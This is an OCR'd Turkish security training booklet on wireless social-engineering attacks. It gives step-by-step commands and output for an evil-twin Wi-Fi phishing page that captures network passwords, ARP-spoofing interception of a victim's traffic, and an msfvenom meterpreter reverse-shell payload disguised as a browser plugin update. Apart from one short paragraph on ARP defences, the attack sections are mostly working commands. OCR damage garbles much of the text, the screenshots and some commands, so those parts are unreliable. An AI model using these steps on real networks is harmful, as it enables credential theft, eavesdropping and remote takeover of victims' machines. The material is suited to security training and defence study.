> BGA

(((( SECURITY

KABLOSUZ AGLARDA
SOSYAL MUHENDISLIK
SALDIRILARI

en
Bask: 2018



[KABLOSUZ AGLARDA SOSYAL MUHENDISLIK SALDIRILARI]

ICINDEKILER

3 R C 1 T3 PPN 3

2. Sahte KabloSUZ AZIar.......cciieuuiiiiiineiiiiiiiiiiiieniiniieniiiiessiiiiesssiiisssssimsssssisesssssssessssssens 3

2.1. Kablosuz Agin Parolasini Elde EtmMeK.........coiveeeiiiieniiiiineiiiiieeeeiirneneeseensseeseenssessennssessennsnens 3
2.1.1. Amag: Kullaniciy sahte kablosuz aga baglatip parola sormak ve hedef agin parolasini elde

LY 0 1] A PP PP 3

D Y1 Lo [ B =T o F= Y Y7o 1 U PSR 4

P8 IS T 1 o [ BT o T8 ol U PP PPR 6

D I Y- Y o [ gLV T 1Y - 4 OSSP 7

2.2. Man In The Middle SaldIriSI......cccieuiiiiiemiiiiieniiiiiiemiiniiemiiemiemisisssns 10

2.2.1. Amag: Kurbanin ag trafigini kendi tGizerimizden karsiya aktarmak. .......cccocceevvveeeinineninnnen. 11

D Y1 Lo [T B =T o F=1 Y7o 1Y U OSSP 11

P Y- 1 o [ g BT T o T8 ol U PP 13

P Y1 Lo T oY o 10 AN o - | 2 RSP 14

2.3. Hedefe SIZMaK.....cccireeiiiiiiiiiiiiiisiiniirnrsneesscss e rssssessiss s rssssssssssssnessnssssssssssneesnnnsssns 16

2.3.1. Amag: Hedef icin hazirlanmis zararl dosyayi karsi tarafa agtirmak. ........ccccoecvvveeevneeennnen. 16

P I Y1 Lo [ BT =T o F=Y Y7o 1Y U USRS 16

P T BT 1 Lo [ g IS o Yo YU ol U PSPPI 18

P N Y1 Lo T oY a1 AN o - 2 PSP 19

SONUG tuuieuiieniieniieniieeiieeiiesitessiessressiosstasssssssssstssstosssssssssssasstosstosstasssssssssssasssasssasssssssnsssnssns 20

BGA Bilgi Giivenligi A.$. | bgasecurity.com | @bgasecurity


http://www.bgasecurity.com/
https://twitter.com/bgasecurity

[KABLOSUZ AGLARDA SOSYAL MUHENDISLIK SALDIRILARI]

1. Giris

Sosyal miihendislik, insan iliskilerinden faydalanarak ve insanlarin dikkatsizligini kullanarak
hedeften istenileni 6grenme veya hedefe istenileni yaptirma girisimidir. Bu kitapcikta
wifiphisher araci kullanilarak kablosuz aglar ile birlikte sosyal miihendislik saldirilar
gerceklestirilecektir.

2. Sahte Kablosuz Aglar

Bu bolimde sahte kablosuz aglar kullanilarak yapilabilecek saldiri vektorlerinden ve korunma
yontemlerinden bahsedilecektir.

2.1. Kablosuz Agin Parolasini Elde Etmek

Genel olarak kablosuz aga baglanmadan elde edilecek veriler pek kullanish degildir. ise
yarayan veriler elde etmek igin agin icerisine girmek gerekmektedir.

2.1.1. Amagc: Kullaniciyr sahte kablosuz aga baglatip parola sormak ve
hedef agin parolasini elde etmektir.
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2.1.2. Saldiri Senaryosu:

1- Wifiphisher araci ¢aligtinlir.

root@Kkali: ~/wifiphisher @ ® ©

File Edit View Search Terminal Help
:~/wifiphisher# wifiphisher --nojamming |

(wifiphister —nojamming komutu ile arag calistirilir.)

2- Hedef kablosuz ag segilir.

root@kali: ~/wifiphisher e e @‘
File Edit View Search Terminal Help
Options: [Esc] Quit [Up Arrow] Move Up [Down Arrow] Move Down
BSSID CH PWR ENCR CLIENTS VENDOR

AirTies Wireless Netowrks

(=]

Tp-link Technologie

SUPERONLINE WiFi 4308
Mehmet Ali
Omer

OO0 OO

o |
8 5
27
1
2 1
/7 1
L.l
1
h 1

komori

(Ortamdaki kablosuz aglarin listesi)
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3- Saldin vektorii secilir ve hedefin tuzaga diismesi beklenir.

Burada 4 adet secenek sunulmaktadir. ilk 2 secenekte hedef kisiden dogrulama icin kablosuz
agin parolasi istenir. Eger hedef tuzaga diserse saldirgan parolayi elde eder.

root@AKkali: ~/wifiphisher o ® O
File Edit View Search Terminal Help
Options: [Up Arrow] Move Up [Down Arrow] Move Down

Avaliable Phishing Scenarios:

1
Imitates the behavior of the network manager. This template show

displays a network n - window thro asking for the pre-shared Key
network managers of Windows and MAC 0S are supported.

(1. saldiri vektori segilir)

Saldir senaryosu segildikten sonra tuzak aga kurbanlarin baglanmasi beklenir.Kurban aga
baglandiktan sonra karsisina Wi-Fi a baglan sayfasi ¢ikacaktir.

(Sahte aga baglanip Google’a girmeye ¢alisan kurban)
Kurban baglan secenegini secerse parolayi girmesi icin yeni bir sekme acilacaktir.

gle Chrome
Ni-Fi x

} A Notsecure | bspS//www.google.com.tr

\]
Connect to Wi-Fi

The Wi-Fi you are using (Destina) may require you to visit its login page
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O ———

s Internet connectic x

e | www.gstatic.com,

D

There i The WI-Fi network "Destina” requires a WPA
“ou™  password.

You can try -

Goto Ay Password: | o

connection

Try Show password
* Ches Remember this network
« Rese
« Rect

Join | Reset

(Kurbandan parola istenmektedir.)

Kurban gerekli alanlari doldurdugunda bilgiler saldirgana iletilir.

2.1.3. Saldiri Sonucu
Kurban sahte aga baglanmistir ve dogruladigini distindlgu parolayi saldirgana ulastirmistir.

(“test123456” parolasi saldirgana ulasmistir.)

root@kali: ~/wifiphisher o ® &
File Edit View Search Terminal Help

ESSID: Destina
Channel: 1

AP interface: wlan®
Options: [Esc] Quit

-5:89:57:d2:12 10.0.0.56 gunal *

st from 10.0.0.56 for http://www.gstatic.com/generate_204
st from 10.0.0.56 for http://www.gstatic.com/generate_204

[*] POST equest from 10.0.0.56 with wfphshr-wpa-password=test123456

[*] GET request from 10.90.0.56 for http://www.gstatic.com/generate 204
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2.1.4. Saldirinin Analizi

Tarayici

acildiginda kullanici giris sayfasina yonlendirilmektedir.

Giris sayfasinda

ise

kullanicidan parola istenmektedir. Burp Suite ile trafigin arasina girilir ve parola sirekli
degistirilerek gonderilir. Parola dogru olsun veya olmasin sirekli ayni yanit donmektedir.

@ -«
Burp Intruder Repeater Window Help

Burp Suite Free Edition v1.7.24 - Temporary Projec

{4

[Target I Proxy I Spider I Scanner I Intruder I Repeater I Sequencer I Decoder I Comparer I Extender I Project options I User options IAIerts ]

1 = el 3 = | 4 =

Raw | Params | Headers | Hex

Target: http://detectportal.firefox.com LfJ EJ

Response

esponse

Raw | Headers | Hex

POST /post HTTP/1.1

Host: detectportal.firefox.com

User-agent: Mozillay/S.0 (X11; Ubuntu; Linux xB86_54;
rv:54.0) Gecko/20100101 Firefox/54.0

Accept:

text/html, application/xhtml+xml, application/xml; g=0.9,"
*;0=0.8

Accept-Language: en-US,en;g=0.5

Content-Type: application/x-www-form-urlencoded
Content-Length: 31

Referer: http://detectportal.firefox.com/success.txt
Connection: close

Upgrade-Insecure-Requests: 1

|wiphshr-wpa-password=test123123
H

1

(===l

| Done

*

>

-
A

0 matches

HTTP/1.1 200 OK
Date: Mon,
Content-Length: ©
Content-Type:
Server: TornadoServer/4.4.2

07 Aug 2017 23:55:50 GMT

text/html; charset=UTF-28

LD

(S
v

w QJ [LJ QJ Type a search tern

0 matches

144 bytes | 10 millis

(Dogru parola girilir ve bos sayfa donmektedir.)
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@ — O Burp Suite Free Edition v1.7.24 - Temporary Project
Burp Intruder Repeater Window Help

[Target T Proxy T Spider T Scanner T Intruder T Repeater T Seqguencer T Decoder I Comparer I Extender I Project options I User options TAIerts ]

1= | 2= |3 = |4 =

Go Cancel < | > | Target: http://detectportal. firefox.com @ L?'J
Request Response

Raw | Params | Headers | Hex Raw | Headers | Hex

POST /post HTTRP/1.1 HTTP/1.1 200 OK

Host: detectportal.firefox.com Date: Tue, 0B Aug 2017 00:28:28 GMT
User-aAgent: Mozillay/S.0 (X11; Ubuntu; Linux x86_54; Content-Length: ©

rv:54.0) Gecko/20100101 Firefox/S54.0 Content-Type: text/html; charset=UTF-8
Accept: Server: TornadoServer/4.4.2

text/html, application/xhtml+xml, application/xml;q=0.9, %/
*;0=0.8

Accept-Language: en-US,en;q=0.5

Content-Type: application/x-www-Tform-urlencoded
Content-Length: 30

Referer: http://detectportal.firefox.com/success. txt
Connection: close

Upgrade-Insecure-Regquests: 1

T
T

wfphshr-wpa- password=denemexxx|

e e
] v

(4 = + = Type a search term 0 matches ? < + = Type a search term 0 matches

Done

144 bytes | 4 millis

(Yanlis parola girilir fakat ayni sayfa yanit olarak donmektedir)

Bu durum pek mantikh degildir. Parolanin dogru veya yanlis olduguna dair herhangi bir
bilgilendirici mesaj veya bir yonlendirme yoktur.Verinin nereye gittigine bakmak dogru olur.

Firefox tarayicisinda calisan FireBug eklentisi ile /post sayfasindaki verinin hangi adrese gittigi
kontrol edilir.

@ F ¢ Conscle MTML €55 Script DOM | Net = | Cookies

HIML €55 JevaScript XHR images Plugins Media Fonts

rUiS4.8) GecKos2010018L Firefon/| s1.0

(Veri 10.0.0.1:80 adresine gitmektedir)
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Size | Remote IP Timeline
] = gms

(Veri 10.0.0.1 adresine gonderilmektedir.)

Kullanici tarafindan bakildiginda parolanin dogru veya yanlis olmasinin dnemi olmaksizin bos
sayfa donmektedir. Son kullanici olarak akla verinin hedefe ulagsmadigi gelmektedir. Bu
durum wireshark ile trafigi inceleyerek kesinlesir.

“ip.dst = 10.0.0.1” filtresi ile 10.0.0.1 adresine giden paketler ayiklanir ve gorulir ki paketler
adrese ulagsmaktadir.

*wlan0 e ® O
File Edit View Go Capture Analyze Statistics Telephony Wireless Tools Help

A B e O[[RE QA «» s 5 aaqaf

(M [ip.dst==10.0.0.1 B ~| Expression..  +
No. Time Source Destination Protocol Length Info =
443 39.617359437 10.0.0.56 10.0.0.1 TCP B6 37448 — 80 [ACK] Seg=4145 Acl
444 39,617526853 10.0.0.56 10.0.0.1 TCP 66 37448 - 80 [ACK] Seg=4145 Acl
447 39.619390025 10.0.0.56 10.0.0.1 TCP 66 37448 - 80 [ACK] Seg=4145 Acl
448 39.619565411 10.0.0.56 10.0.0.1 TCP B6 37448 — 80 [ACK] Seg=4145 Acl
448 39.620994555 10.0.0.56 180.0.0.1 TCP 66 37448 — 80 [ACK] Seq=4145 Acl
452 41 ,808206906 10.0.0.56 10.0.0.1 DNS 84 Standard gquery Ox5580 A detel
454 41 ,808866600 10.0.0.56 10.0.0.1 DNS 84 Standard query Ox0d33 AAAA di
455 41 .808918934 10.0.0.56 10.0.0.1 DNS B4 Standard query Oxd304 A detei
458 41 .817705655 10.0.0.56 10.0.0.1 TCP 74 38642 - 80 [SYN] Seq=0 Win=2!

460 41,819343563 10.0.0.56 10.0.0.1 TCF 66 38642 - 80 [ACK] Seqg=1 Ack=1
l . 819536270 .0.0. .0.0.1 458 POST /backend/ HTTP/1.1 (te

464 41.829157508 10.0.0.56 10.0.0.1 TCP 66 38642 — 80 [ACK] Seq=393 Ack;
465 41, 850566023 10.0.0.56 10.0.0.1 HTTF 557 POST Apost HTTP/L1.1 (applic:
467 41,900522551 10.0.0.56 10.0.0.1 TCP 56 38642 — 80 [ACK] Seqg=884 Ack:
468 42.623813760 10.0.0.56 10.0.0.1 HTTF 362 GET /success.txt HTTP/1.1
4 469 42,624041585  10.0.0,56 10.0.0.1 DMS 84 Standard guerv @xSef2 A dettsl b
» Frame 461: 458 bytes on wire (3664 bits), 458 bytes captured (3664 hits) on interface ©
» Ethernet II, Src: IntelCor_57:d2:12 (a@:c5:89:57:d2:12), Dst: 00:00:00_8a:0b:84 (0O:00:00:8a:0b:84)
» Internet Protocol version 4, Src: 10.0.0.56, Dst: 10.0.0.1
» Transmission Control Protocol, Src Port: 38642, Dst Port: 80, Seq: 1, Ack: 1, Len: 392
» Hypertext Transfer Protocol
hulll| 25T S NSy SN ey
1 {"psk_verify":"testl23 3

(Kullanicinin girdigi parola 10.0.0.1 adresinin 80. portuna iletilmekte)
Toparlanmasi gerekirse, kullanici sahte aga baglaniyor ve tarayiciyl actiginda giris sayfasina

yonlendiriliyor. Giris sayfasinda girdigi parolanin dogru olup olmamasina bakilmaksiniz
kullaniciya bos sayfa dondiriliiyor ve parola saldirganin sunucusuna iletiliyor.
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2.2. Man In The Middle Saldirisi

MITM saldirisi Turkce de ortadaki adam saldirisi olarak adlandirilir. Saldirgan, hedef kisi ile ag
araglari (yonlendirici, switch, modem, server) arasina girerek veri transferini kendi Gzerinden

gerceklestirir.

.

User Web Application

I

@ -

Man in the Middle

ikinci béliimde bahsedilen yontemler ile kablosuz agin parolasini elde ettigimiz varsayilarak
aga baglanilir. Ardindan mitm saldiri gergeklestirilir.
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2.2.1. Amag: Kurbanin ag trafigini kendi Gzerimizden karsiya aktarmak.

2.2.2. Saldiri Senaryosu

1- Arp spoof islemi baslatilir

root@gunal: /home/mrgun# arpspoof -i wlanmn@ -t 192.168.2.1 192.168.2.

o]
3]

® @ @ @ @ ® ® @ © @ ©
N NN N NNNNNNN

(arpspoof -i AGKARTI -t HEDEF_IP GATEWAY)

root@gunal:/home/mrgun# arpspoof -i wlan® -t 192.168.2.66 192.168.2.1

a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a@:c5:
9:57:d2:12
@0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at af:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0l:c5:
9:57:d2:12
af:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0@:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at af:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0l:c5:
9:57:d2:12
af:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0@:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at af:c5:
9:57:d2:12
a0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 42: arp reply 192.168.2.1 is-at a0l:c5:
9:57:d2:12
af0:c5:89:57:d2:12 24:e3:14:4b:65:26 0806 : arp reply 192.168.2.1 is-at aB:ch:

(arpspoof -i AGKARTI -t GATEWAY HEDEF_IP)
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2- Verilerin lizerimizden akmasina izin vermek igin ip yonlendirmesine izin verilir.

root@gunal: /home/mrgun# echo 1 = /proc/sys/net/ipvdsip Torward
root@gunal: /home/mrgun# cat /proc/sys/net/ipvd4/ip_ Torward
1

root@gunal: /home/mrgun# .

(Ip yonlendirilmesi aktif edildi.)

3- Wireshark veya benzeri araglar ile hedef ip nin ag trafigi izlenir.
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2.2.3. Saldiri Sonucu

Kurbanin ag trafigi saldirgan Gzerinden akmaktadir. Urlsnarf araci ile kurbanin ziyaret ettigi
web siteleri izlenebilir.

root@gunal:/home/mrgun# urlsnarf -i wlan@
urlsnarf: listening on wlan® [tcp port 80 or port 8080 or port 3128]
192.168.2.232 - - [08/Aug/2017:12:06:30 +0300] "GET http://o.scdn.co/image/85f8e
47eab6731d0c9cB8c60albB8619b92935c3d34 HTTP/1.1" - - "-" "gvfs/1.28.2"

192.168.2.66 - - [08/Aug/2017:12:07:42 +0300] "GET http://www.bing.com/ HTTP/1.1
" "-" "Mozilla/5.0 (iPhone; CPU iPhone 0S 9 3 2 like Mac 0S X) AppleWebKit/6
01.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1"

192.168.2.66 - - [08/Aug/2017:12:07:43 +0300] "GET http://www.bing.com/rms/rms%2
Oserp%28Homepage$bglogoBingTeal/ic/23b397af/f2e8bbe3.png HTTP/1.1" - - "http://w
ww.bing.com/" "Mozilla/5.8 (iPhone; CPU iPhone 0S 9 3 2 like Mac 0S5 X) AppleWebK
it/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safari/601.1"
192.168.2.66 - - [08/Aug/2017:12:07:43 +0300] "GET http://www.bing.com/rms/rms%2
fanswers%20Homepage%20Mobile$MobileHeaderSprite2x/ic/7ccl6l4a/c2b30940.png HTTP/
1.1" - - "http://www.bing.com/" "Mozilla/5.0 (iPhone; CPU iPhone 0S 9 3 2 like M
ac 0S5 X) AppleWebKit/601.1.46 (KHTML, like Gecko) Version/9.0 Mobile/13F69 Safar
i/601.1"

192.168.2.66 - - [08/Aug/2017:12:07:44 +0300] "GET http://www.bing.com/fd/1s/17?1
G=D1BC67D6ASEB4E2383C54C5 D3E6D4&CID=22123F032A9860D83D6635DB2B306157&Type=Eve
nt.CPT&DATA 22p 2 25%22:%22 2,%22F(C%22:-1,%22BC%22: 25E%22:-1,%22TC
%22:-1,%22H%22:-1,%22B 2:1195,%22CT%22:1212,%2211%22:1},%22a 2:[-1,-1,320,46
0,320,460,2] }&P=SERP&DA=DB5 HTTP/1.1" - - "http://www.bing.com/" "Mozilla/5.0 (i
Phone; CPU iPhone 0S 9 3 2 like Mac 0S X) AppleWebKit/601.1.46 (KHTML, like Geck
o) Version/9.0 Mobile/13F69 Safari/601.1"

192.168.2.66 - - [08/Aug/2017:12:07:44 +0300] "POST http://www.bing.com/fd/1ls/1s
p.aspx? HTTP/1.1" - - "http://www.bing.com/" "Mozilla/5.0 (iPhone; CPU iPhone 0S

(urlsnarf ile kurbanin giris yaptigi web siteleri izleniyor )

Ya da wireshark ile http trafigi takip edilebilir. Kullanilacak olan filtre “ip.src == HEDEF_IP and
http”

[ M| http and ip.src == 192.168.2.66

No. Time Source Destination Protocol » Length Info
14036 134.135070132 192.168.2.66 185.59.47.4 HTTP 542 GET /font-awesome/css/font-awesome.min.css HTTP/1.1
14034 134.135035481 192.168.2.66 185.59.47.4 HTTP 547 GET /clientscript/vbulletin_important.css?v=387 HTTP/
14032 134.135015569 192.168 66 185.59.47.4 HTTP 547 GET /clientscript/yui/yahoo-dom-event/yahoo-dom-event
14030 134.134996206 192.168 66 185.59.47.4 HTTP 515 GET /lib/js/tooltip/tooltip.js HTTP/1.1
14028 134.134975809 192.168.2.66 185.59.47.4 HTTP 519 GET /lib/js/scrollBar/scrollBar.js HTTP/1.1
14026 134.134950731 192.168 66 185.59.47.4 HTTP 556 GET /clientscript/vbulletin_css/style-6e4493b0-00018.
13991 133.994130261 192.168 66 185.59.47.4 HTTP 506 GET /lib/js/iyinet.js HTTP/1.1

1R R R R R RO R R N RO R N R
@
&

13987 133.992926027 192.168. 185.59.47.4 HTTP 505 GET /lib/js/iyipm.js HTTP/1.1
13985 133.991527685 192.168 66 185.59.47.4 HTTP 526 GET /clientscript/vbulletin_menu.js?v=387 HTTP/1.1
13982 133.986386393 192.168 66 185.59.47.4 HTTP 528 GET /clientscript/vbulletin_global.js?v=387 HTTP/1.1
13900 133.813081566 192.168.2.66 185.59.47.4 HTTP 538 GET /mobiquo/smartbanner/appbanner.css HTTP/1.1
13898 133.813065182 192.168 66 185.59.47.4 HTTP 538 GET /lib/css/BreadCrumb/BreadCrumb.css HTTP/1.1
13896 133.813019585 192.168 66 185.59.47.4 HTTP 530 GET /lib/css/toltip/toltip.css HTTP/1.1
+ 13894 133.811434636 192.168.2.66 185.59.47.4 HTTP 522 GET /lib/css/style.css HTTP/1.1
B 13803 133.111932454 192.168.2.66 185.59.47.4 HTTP 454 GET / HTTP/1.1
9251 84,164865895 192.168.2.66 195,175.112.24 HTTP 416 GET /pep/gcc HTTP/1.1
1321 30,499282531 192.168.2.66 87.250,255.224 HTTP 418 GET / HTTP/1.1

1299 29.744583560 192.168.2.66 87.250.255.224 HTTP 415 GET / HTTP/1.1

(.\'Nilreéh.ark ile httptraflgl takip édiliyor)
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2.2.4. Saldirinin Analizi

Kurban IP: 192.168.2.66
Gateway: 192.168.2.1 oldugunu biliyoruz.

Arp paketleri incelendiginde saldirgan kendi mac adresi lizerinden kurban Apple cihazina
kendini 192.168.2.1 olan gateway adresi gibi tanitmaktadir. Ayni sekilde Airties cihazina da
kendini 192.168.2.66 ip adresine sahip Apple cihazi gibi tanitmaktadir.

Link encap:Ethernet HWaddr ab: c5 89:57:d2:12

inet addr: 192 168.2.222 S Musk:255.255.255.0
inet6 addr: fe80 A4dfd: 6b3c a?bb 9114[64 Scope:Link
UP BROADCAST RUNNING MULTICAST MTU:150@ Metric:1

RX packets:127968 errors:0 dropped:0 overruns:0 frame:0
TX packets:91635 errors:0 dropped:0 overruns:0 carrier:0
collisions:0 txqueuelen:10006

RX bytes:135858398 (135.8 MB) TX bytes:20155354 (20.1 MB)

(Saldirganin mac adresi)

lo. Time Source Destination Protocol Length Info
30 3.226749559 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1 is at a®:c5:89:5
43 4.166770490 IntelCor_S57:d2:12 Airtiesw _ab:le:14 ARP 42 192.168.2.66 is at a®:c5:89:
44 5.227076400 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1 is at a®@:c5:89:5
A7 6.167082037 IntelCor_57:d2:12 Alrtlesw ab:le:14 ARP 42 192.168.2.66 is at af:c5:89:
7.227508006 IntelCor_57 il
49 7.229401869 AlrtiesW_ab:le:14 IntElCDr 57:d2:12 ARP 42 who has 192.168.2.2327 Tell
50 7.2294620008 IntelCor_S57:d2:12 Alrtiesw ab:le:14 ARP 42 192.168.2.232 is at a®:c5:89
51 8.167424393 IntelCor_ S57:d2:12 Alrtiesw _ab:l1e:14 ARP 42 192.168.2.66 is at a®@:c5:89:
54 9.227977700 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1 is at a®:c5:89:5
55 18.167858982 IntelCor 57:d2:12 Alrtiesw ab:le:14 ARP 42 192.168.2.66 is at a®:c5:89
56 11.228434965 IntelCor_S7:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1 is at a@:c5:89:5
63 12.168243010 IntelCor_57:d2:12 Alirtiesw_ab:le:14 ARP 42 192.168.2.66 is at a@:c5:89
88 13.228842994 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1 is at a®:c5:89:5
91 14.168610256 IntelCor_57:d2:12 Airtiesw_ab:le:14 ARP 42 192.168.2.66 is at a@:c5:89
110 15.229238728 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1 is at aB:c5:89:5
121 16.168866270 IntelCor_57:d2:12 Alrtiesw_ab:le:14 ARP 42 192.168.2.66 is at a@:c5:89
124 17.229688816 IntelCor_57:d2:12 Apple_ab:65:26 ARP 42 192.168.2.1 is at a®:c5:89
125 18.169234939 lntelcar 5?:d2:12 Alrtlesw ab 1&:14 ARP 42 192.168. 2.66 is at a@:c5:89:
P = AERS = et nann o o PR

» Frame 48: 42 bytes on wire (336 blts), 42 bytes captured (236 bits) on Jnterface

+ Ethernet II,

Src: IntelcCor_57:d2:12 (aP:c5:89:57:d2:12), Dst: Apple_4b:65:26 (24: e3 14:4b:65:26)

- Address Resolution Protocol (reply)

Hardware
Protocol
Hardware
Protocol

type: Ethernet (1)
type: IPv4 (Ox0800)
size: 6
size: 4

Opcode: reply (27
sender MAC address: IntelCor 57 d2:12 (aP:c5:89:57:d2:12)
Sender IP address: 192 163 2.

Target MAC address:

PR _4b:
Target IP address: 192 153 2.66

(Saldirgan kendini Apple cihazina gateway gibi gdsteriyor.)
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Jo. Time Source Destination Protocol Length Info
30 3.226749559 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
43 4.166770490 IntelCor_57:d2:12 AirtiesW_ab:le:14 ARP 42 192.168.2.6¢
44 5.227076400 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
47 6.167082037 IntelCor_57:d2:12 AirtiesW_ab:1e:14 ARP 42 192.168.2.6¢
48 7.227508006 IntelCor 57:d2:12 Apple 4b:65:26 ARP 42 192.168.2.1
49 7.229401869 Airtiesw_ab:1e:14 IntelCor_57:d2:12 ARP 42 Who has 192.
50 7.229462000 IntelCor_57:d2:12 AirtieswW_ab:1e:14 ARP 42 192.168.2.2:
51 8.167424393 IntelCor_57v:d2:12 Airtiesw_ab:le:14 ARP 42 192.168.2.6¢
. 54 9.227977700 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
10.167858982 IntelCor_57: AldrtiesW _ab: W2
56 11.228434985 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
63 12.168243010 IntelCor_57:d2:12 AirtieswW_ab:1e:14 ARP 42 192.168.2.6¢
88 13.228842994 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
91 14.168610256 IntelCor_57:d2:12 AirtieswW_ab:1e:14 ARP 42 192.168.2.6¢
110 15.229238728 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
121 16.168866270 IntelCor_57:d2:12 AirtieswW_ab:1e:14 ARP 42 192.168.2.6¢
124 17.229688816 IntelCor_57:d2:12 Apple_4b:65:26 ARP 42 192.168.2.1
2

125 18.169234939 IntelCor_57:d2:12 AirtieswW_ab:1e:14 ARP 42 192.168.

Y SR T = S =Y P T e PR

. 6¢€

Frame 55: 42 bytes on wire (336 bits), 42 bytes captured (336 bits) on interface @
Ethernet II, Src: IntelCor_57:d2:12 (a®@:c5:89:57:d2:12), Dst: AlirtiesW_ab:le:14 (@0:1c:aB:ab:1
[Duplicate IP address detected for 192.168.2.66 (a®@:c5:89:57:d2:12) - also in use by 24:e3:14:
[Duplicate IP address detected for 192.168.2.1 (@@:1c:a8:ab:1e:14) - also in use by a®:c5:89:%
Address Resolution Protocol (reply)

Hardware type: Ethernet (1)

Protocol type: IPv4 (Ox0800)

Hardware size: 6

Protocol size: 4

{vvwvw

UptTOT T T ep LY =)
Sender MAC address: IntelCor_57:d2:12 (a@:c¢5:89:57:d2:12)
Sender IP address: 192.168.2.66

MAC address: AirtiesW ab:l1e:14 (0@:1c:aB:ab:le:14)

Target IP address: 192.168.2.1

(Saldirgan kendini Airties modeme kurbanin ip adresine sahipmis gibi gosteriyor)

Bu saldiri sonucunda Airties modem ve Apple cihazi arasindaki trafik saldirgan lzerinden
yurimektedir.

Arp Spoofing e Karsi Alinabilecek Onlemler:
Bu saldiriya karsi tam olarak bir savunma bulunmamaktadir. En etkili yontem ise statik ARP
kayitlari tutmaktir. Fakat bu yontem igin tim cihazlari manuel olarak kayit etmek ve tabloyu

glincel tutmak gerekir.Bundan dolayi pek kullanisli degildir. IDS sistemler kullanilarak arp atagi
basladigindan haberdar olunabilir ve gerekli reaksiyon gosterilebilir.
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2.3. Hedefe Sizmak

Ag trafigi dinlemenin yeterli gelmedigi durumlarda hedef sisteme sizmak istenilebilir.

2.3.1. Amagc: Hedef icin hazirlanmis zararli dosyayi karsi tarafa
actirmak.

2.3.2. Saldiri Senaryosu:

1- Kurbanin agmasi icin zararh yazim hazirlanir. Msfvenom yardimi ile windows reverse
shell olusturulur.

root@kali: ~/wifiphisher @ ® O
File Edit View Search Terminal Help

:~/wifiphisher# msfvenom -p windows/meterpreter/reverse tcp -a x86 -e x86/shikata ga nai -
exe > update.exe LHOST=10.0.0.1 LPORT=81

No platform was selected, choosing Msf::Module: :Platform::Windows from the payload
Found 1 compatible encoders
Attempting to encode payload with 1 iterations of x86/shikata ga nai
x86/shikata _ga nai succeeded with size 360 (iteration=0)
x86/shikata ga nai chosen with final size 360
Payload size: 360 bytes
Final size of exe file: 73802 bytes
s 1fi r#

(update.exe adinda zararl yazilim olusturudu)

2- Sahte kablosuz ag olusturulur ve tarayicidan giincelleme ekrani yansitilir. Bunun igin
wifiphisher in 3. se¢cenegi olan “Browser Plugin Update” segilir.

root@kali: ~/wifiphisher e ® O
File Edit WView Search Terminal Help
Options: [Up Arrow] Mowve Up [Down Arrow] Mowve Down
Avaliable Phishing Scenarios:
2 - Firmware Upgrade Page
A router configuration page without logos or brands asking for WPA/WPAZ2
firmware upgrade. Mobile-friendly.

3

A generic browser plugin update page that can be used to serve payloads
victims.
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root@kali: ~/wifiphisher e ® ©
File Edit View Search Terminal Help
:~/wifiphisher# wifiphisher --nojamming

Starting Wifiphisher 1.3GIT ( https://wifiphisher.org ) at 2017-08-08 01:39
Sending SIGKILL to wpa supplicant

Selecting interface for creating the rogue Access Point
Changing wlanl MAC addr (BSSID) to 00:00:00:7a:5f:7c

Cleared leases, started DHCP, set up iptables
Selecting Browser Plugin Update template
Enter the [ 1 to the payload you wish to serve update.exel}

(update.exe dosyasi sahte sayfaya eklenir )

3- Sahte kablosuz ag yayina alinir ve zararli yazilimin agilmasi beklenir.

root@Kkali: ~/wifiphisher e & O
File Edit View Search Terminal Help
msf > use multi/handler

msf exploit( ) > set PAYLOAD windows/meterpreter/reverse tcp
PAYLOAD => windows/meterpreter/reverse tcp
i ) > set LHOST 10.0.0.1

ms T ) > set LPORT 81
LPORT => 81

msf exploit( ) > exploit

Handler failed to bind to 10.0.0.1:81:- -
[*] Started reverse TCP handler on 0.0.0.0:81
[*] Starting the payload handler...

(zararh yazilimin acilmasi bekleniyor)
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Kurbanlar aga baglandiktan sonra tarayicilari acilir ve giincelleme ekrani ile karsilasirlar.
internete erisebilmek icin giincelleme yapmasi gerektigini diisiinen kurban dosyayi indirip
calistirdiktan sonra saldirgan sistemin icerisine yerlesir.

C 1t @ www.msftconnecttest.com,

Plugin Manager

Plugin Status

Plugin Status Action

Flash Player

Flash Player is a lightweight browser plug-in and rich internet application runtime that delivers consistent and engaging user Outdated um Now
experiences, stunning audio/video playback, and exciting gameplay

- Step 1: Click 'Update Now' to download the update file.
« Step 2: Run the update file to update your plugins

[ update (1).exe ~ Tiimmiir

